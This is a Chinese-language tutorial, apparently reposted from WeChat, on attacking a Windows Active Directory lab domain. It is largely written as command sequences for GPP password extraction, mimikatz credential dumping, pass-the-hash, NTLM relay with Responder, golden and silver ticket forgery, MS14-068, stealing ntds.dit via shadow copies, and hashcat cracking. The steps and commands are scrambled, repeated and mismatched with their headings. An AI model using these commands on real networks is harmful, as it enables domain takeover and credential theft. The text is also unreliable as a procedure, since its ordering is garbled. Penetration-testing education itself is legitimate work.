> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s?\_\_biz=MjM5NDUxMTI2NA==&mid=2247484524&idx=1&sn=2b4e7c44667e6a56f3a5dac1e655a712&chksm=a687e4a391f06db554149c6be309daa983fcd96d2ef147d3fb4e7fd193066d5901a700eef88f&scene=126&sessionid=1602140929&key=4cf40c946f4d610c39149cf3942c62f890f80f0c4773ac5433f412657706f934bd8e9cfa3a213278c73d206f09c7e6e99ae1c306dd6964bca05bc5749302a76121ddc91af6d91e5d999bcd8eefe046e61b4a86f53d46c692921030115ba2701f6ef9ef388f85292a4465f5a24fbaa1528393f9ab7ea5a7ba924e6d2a06076a69&ascene=1&uin=ODk4MDE0MDEy&devicetype=Windows+10+x64&version=62090529&lang=zh\_CN&exportkey=AW2zDtu8CN5S5fvxNmNJGeU%3D&pass\_ticket=MIT9gkwI%2Flz0hRXozp3zz%2FJGT8%2BgZgLCOBodXSLzGMJddkuYKwJy1I14m7NOwIdt&wx\_header=0)
Kerberos 是一种由 MIT 提出的一种计算机网络授权协议,旨在通过使用加密技术为客户端 / 服务端应用程序提供强大的认证服务。域内访问其他应用应遵循服务 Kerberos 协议。完整的域内应用访问流程如图所示,首先由客户端向域控发起认证请求,域控验证用户是否属于合法域用户,若合法则由域控响应主机请求分发 TGT 认证票据 (黄金票据可伪造 TGT),拿到证书后主机可以继续请求访问域内的应用服务,若权限符合域控会返回允许主机访问域内某应用服务的 TGS 票据,主机拿着 TGS 票据访问对应的应用服务,该应用服务器验证 TGS 通过后主机即可顺利访问应用服务
- TGT
TGT 验证用户是否属于合法域用户,合法域控则分发 TGT 认证票据。
黄金票据用于伪造 TGT,拿到 TGT 就可以访问域内所有主机
- TGS
允许访问某一项服务的访问票据。TGS 票据正常才可以访问对应服务
白银票据用于伪造 TGS。
TGT、TGS 票据具有时效性。票据通过对比 NTLM 加密时间戳 hash 值进行验证
二、域安全策略测试攻击
GPP(Group Policy Preference):组策略偏好漏洞利用。GPP 中域控给域成员添加的账号信息以 xml 形式保存在域内主机,可以直接读取 xml 文件拿到账号密码。所以在拿下域内主机之后一定要打开访问域策略共享文件夹,可以看到拿到的域主机被下发了哪些策略。通过这些策略可以获取更多相关域的信息。
SYSVOL 是存储域公共文件服务器副本的共享文件夹,在域中所有的域控制器之间复制。Sysvol 文件夹是安装 AD 时创建的,它用来存放 GPO、Script 等信息。同时,存放在 Sysvol 文件夹中的信息会复制到域中所有 DC 上
域服务器一般都会共享这个文件夹, 或者搜索当前机器下的 XML 文件将包含凭据:
-
映射驱动(Drives.xml)
-
数据源(DataSources.xml)
-
打印机配置(Printers.xml)
-
创建 / 更新服务(Services.xml)
-
计划任务(ScheduledTasks.xml)
由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对 SYSVOL 的读取权限。
2.1 创建组策略
①创建组织单位,将需要下发策略的用户移动到此单位。此时对 xyz 组进行组策略下发,该组里的用户都会被执行策略
②在该组织单位下新建组策略对象
③编辑组策略,更新本地用户。
至此成功在域控下发了一个组策略,策略内容:创建 xyz-test 用户,密码为 123.com。接下来进行 GPP 漏洞利用以获取敏感信息。
**2.2 漏洞利用
**
①在获取权限的域内主机更新策略,使下发的策略生效
gpupdate /force
②查看该策略对应的 id 号
③寻找组策略对应的本地文件
在域中,存在一个默认的共享路径:**\\SYSVOL\**。所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
④查看策略内容,文件内容里面 cpassword 项保存的是加密后的内容,加密方式为 AES 256
还原 hash 的方式可采用开源的 powershell 脚本,项目地址如下:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
mimikatz.exe //运行
privilege::debug //提权
lsadump::lsa /patch //得到hash密文
# 或者一步到位并将查询结果保存造本地txt文件:
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >>log2.txt
imikatz.exe "privilege::debug" "sekurlsa::pth /domain:safe-duck /user:administrator /ntlm:f5082729365bda3f34f598f99b33b242" exit
⑤ 执行 powershell 解密 hash。将该 cpassword 密码值放到 powershell 脚本里面然后执行脚本读取得到组策略下发的密码
综上所述:拿到域主机一定要打开访问域策略共享文件夹,可以看到拿到的域主机被下发了哪些策略。通过这些策略可以获取更多相关域的信息
windows 2012 及之后版本目前无法直接读取明文只能读取主机密文,提权后读取域主机密文。然后通过爆破碰撞等方式获取明文密码,但是不可控制因素比较大。此时也可利用 PTH 哈希传递方式对内网进行攻击。
PTH
pass the hash。获取一台主机的本地管理员组成员账号的口令 NTLM 后,无法破解密码,使用 PTH 方法将管理员账号及 NTLM 注入当前会话作为凭据,利用该凭据可以渗透获取周围的主机的管理权限,如果对方存在相同账号及密码,进行密码碰撞是可以获取到这些主机权限的。
1. 利用 mimikatz.exe 读取本地 hash 密文
dir \\\\WIN-6JM3ECTM2CO.safe-duck.com\\c$
# 调用cmd
psexec.exe \\\\域控IP cmd.exe
②利用拿得到的 hash 来连接域内其他目标机器
vi /usr/share/responder/Responder.conf
#将SMB和HTTP的值改为off。这样responder就不会获取哈希值,而是Multirelay.py来完成这一任务
python RunFinger.py -i 192.168.1.0/24
③得到具有用户身份的 cmd shell,执行命令:
responder -I eth0
python MultiRelay.py -t 192.168.1.11 -u ALL
中继 hash 攻击
在 hash 无法解密的情况下也可以通过中继 NTLMv2 哈希的方法来获取网络中机器的 shell 访问权限,获取 hash 值可以帮助攻击者获取 shell 访问权限。
参考:https://xz.aliyun.com/t/3560
1. 网段扫描
klist #查看当前拥有的票据
klist purge #清空票据
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
2. 获取可攻击的主机 (true)
3. 开启 responder 监听
whoami /all
mimikatz.exe "kerberos::golden /user:win7 /domain:safe-duck.com /sid:S-1-5-21-4065905668-3814866385-3259433788 /krbtgt:c4af830cd0ee19d893c652a3ad9f88b7 /ptt" exit
#伪造成功,查看票据
klist
4. 运行 Multirelay.py 脚本,做中继代理
dir \\\\WIN-6JM3ECTM2CO.safe-duck.com\\c$
PsExec.exe \\\\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
但是在日志里面已经获取到 hash 身份,也不算全部失败 (自我安慰)
whoami /all
黄金票据攻击,是一种为任意用户生成 TGT 票据的方法,属于一种后门。黄金票据生成,是生成有效的 TGT Kerberos 票据,并且不受 TGT 生命周期的影响(TGT 默认 10 小时,最多续订 7 天),这里可以为任意用户生成黄金票据,然后为域管理员生成 TGT,这样普通用户就可以变成域管理员。
黄金票据的制作条件:
-
1. 域名称
-
2. 域的 SID
-
3. 域控的 Krbtgt 账户的密码 hash 值
-
4. 任意域用户名
制作 TGT 票据需要获取 Krbtgt 账户的密码 hash,而 Krbtgt 账户的密码 hash 存储在域控上。因此黄金票据攻击测试本身就是个无解的死循环,所以他并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将 krbtgt hash 进行保存,当第二次再来进行渗透攻击时,我们就可以使用该 hash 制作黄金票据,从而获得管理员权限。当然也可以通过抓取 / 嗅探等方式获取 krbtst 的 hash 进行常规的攻击。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 2.txt
1. 获取票据伪造所需要的 TGT 信息。获取 krbtst 的 hash,这里是直接在域控里面看的。实际情况就是上面说的无解死循环
mimikatz.exe "kerberos::golden /user:win7 /domain:safe-duck.com /sid:S-1-5-21-4065905668-3814866385-3259433788 /target:WIN-6JM3ECTM2CO.safe-duck.com /service:cifs /rc4:9f1ed160f3dff10ba81109cbaf19f5fc /ptt" exit
PsExec.exe \\\\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
2. 获取域的 sid 信息:在已经拿下的域主机获取执行命令
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
ms14-068.exe -u [email protected] -p 123.com -s S-1-5-21-4065905668-3814866385-3259433788-1105 -d WIN-6JM3ECTM2CO.safe-duck.com
3.mimikatz 工具伪造黄金票据:
mimikatz.exe "kerberos::ptc TGT\[email protected]" exit
4. 查看共享
PsExec.exe \\\\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
5. 利用 psexec 调用目标域控制器的 cmd
Responder下载地址:https://github.com/lgandx/Responder
responder -I eth0
#Responder会启动80端口,用之前关闭80服务
/etc/init.d/apache2 stop
1. 获取域控的设备名称
2. 获取域的 sid
hashcat -m 5600 hash.txt -a 0 pass.txt --force
#5600>NTLM加密协议
psexec \\\\192.168.1.11 -u "safe-duck\\administrator" -p "123456" -h cmd /c "vssadmin list shadows >> \\\\192.168.1.201\\c$\\test\\out.txt"
3. 获取域控的 hash(死循环第二季)
psexec \\\\192.168.1.11 -u safe-duck\\administrator -p "123456" -h cmd /c "vssadmin create shadow /for=c: >> \\\\192.168.1.201\\c$\\test\\outs.txt"
4. 域内主机伪造白银票据
psexec \\\\192.168.1.11 -u "safe-duck\\administrator" -p "123456" -h cmd /c "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit \\\\192.168.1.201\\c$\\test\\"
6.psexec 调用目标域控制器的 cmd
psexec \\\\192.168.1.11 -u "safe-duck\\administrator" -p "123456" -h cmd /c "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\system \\\\192.168.1.201\\c$\\test\\"
ms14-068 漏洞利用不需要域控的 hash,利用的是目标域控的系统漏洞。但是需要普通域用户的账号及密码。
1. 首先在域控检测是否有 MS14-068 这个漏洞, 通过查看是否打补丁 (KB3011780) 来判断是否存在漏洞
2. 攻击者拿下了一台域内的普通计算机, 并获得普通域用户以及密码 / hash 值,以及用户的 suid。exp 项目地址:
git clone https://github.com/SecureAuthCorp/impacket
./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit -user-status loca
3. 将内存中已有的 kerberos 票据清除,清除方法使用 mimikatz,或者 klist purge
4. 使用 whoami /all 查看本机用户 suid
5. 利用 ms14-068.exe 提权工具在当前目录生成伪造的 kerberos 协议认证证书
hashcat -m 1000 a.hash -a 0 pass.txt --force --remove win2.hash
-m 1000 #破解密码类型为NTLM
-a 0 #采用字典破解
-o #将破解后的结果输出到pass1.txt
--remove win2.hash #表示将移除破解成功的hash
6. 将证书文件复制到 mimikaz 同级目录下。写入证书,从而提升为域管理员
mimikatz.exe "kerberos::ptc TGT\[email protected]" exit
7. 再次列出域控制器的 C 盘目录, 成功访问域控的 C 盘,说明普通域用户提权成功
8. 使用 PsExec.exe 获取 shell,#psexec.exe 以管理员权限运行连接域控
PsExec.exe \\\\WIN-6JM3ECTM2CO.safe-duck.com cmd.exe
Responder下载地址:https://github.com/lgandx/Responder
浏览器默认自动检测代理设置如下,当目标访问某个网站时,利用 kali 伪造代理主机,要求目标机器提供 hash,kali 抓取此 hash
1.kali 设置侦听
responder -I eth0
#Responder会启动80端口,用之前关闭80服务
/etc/init.d/apache2 stop
目标在浏览器上访问任意网页,kali 获取到 hash
2.hashcat 破解
hashcat -m 5600 hash.txt -a 0 pass.txt --force
#5600>NTLM加密协议
拿到域控账号后,由于各种原因没法直接登录域控。此时通过 webshell 来执行命令,在普通域设备上获取域控的 ntds hash 核心用户数据。实验环境及实验条件:
1. 已得到域管理员账号密码
2.win7 充当被拿了 shell 的域内普通机器
1. 和域控建立空链接
#与域控建立空连接``net use \\192.168.1.11\ipc$ "123456" /user:"safe-duck\administrator"
psexec \\\\192.168.1.11 -u "safe-duck\\administrator" -p "123456" -h cmd /c "vssadmin list shadows >> \\\\192.168.1.201\\c$\\test\\out.txt"
当前没有卷影副本,则需要手工创建。
3. 手工创建卷影副本
psexec \\\\192.168.1.11 -u safe-duck\\administrator -p "123456" -h cmd /c "vssadmin create shadow /for=c: >> \\\\192.168.1.201\\c$\\test\\outs.txt"
4. 复制卷影副本到本地
①将 ntds 文件拷贝到本地服务器
psexec \\\\192.168.1.11 -u "safe-duck\\administrator" -p "123456" -h cmd /c "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit \\\\192.168.1.201\\c$\\test\\"
②将 system 文件拷贝到本地服务器
psexec \\\\192.168.1.11 -u "safe-duck\\administrator" -p "123456" -h cmd /c "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\system \\\\192.168.1.201\\c$\\test\\"
5. 将拷贝的卷影副本文件放进 kali,使用工具读取 ntds 文件 hash 内容。获取到域内所用的账户信息
git clone https://github.com/SecureAuthCorp/impacket
./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit -user-status loca
6. 然后使用 hashcat 暴力破解
hashcat -m 1000 a.hash -a 0 pass.txt --force --remove win2.hash
-m 1000 #破解密码类型为NTLM
-a 0 #采用字典破解
-o #将破解后的结果输出到pass1.txt
--remove win2.hash #表示将移除破解成功的hash
最后得到域内所有账号信息。完工